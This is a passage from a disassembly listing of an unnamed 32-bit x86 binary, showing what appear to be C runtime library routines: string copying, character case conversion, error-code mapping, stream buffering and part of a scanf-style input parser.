		pop	ecx
		mov	dword_4DCFF4, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCDBC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DCEC1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBA14, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43CBE4, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C9D8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB95C, ecx
		mov	eax, offset dword_43CCF0


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43CE58
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB958, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43CCF4[edx*8]
		mov	dword_4DB958, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB958, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB958, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43D0E8
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43D108
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DBB40
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB9E4[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB9E4h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43CBE4, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C9D8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43CBE4, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43CBE4, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43CBE8, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43CBE8
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43CBE4, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43CBE4, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43CF88
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43CE60
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43CE58


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
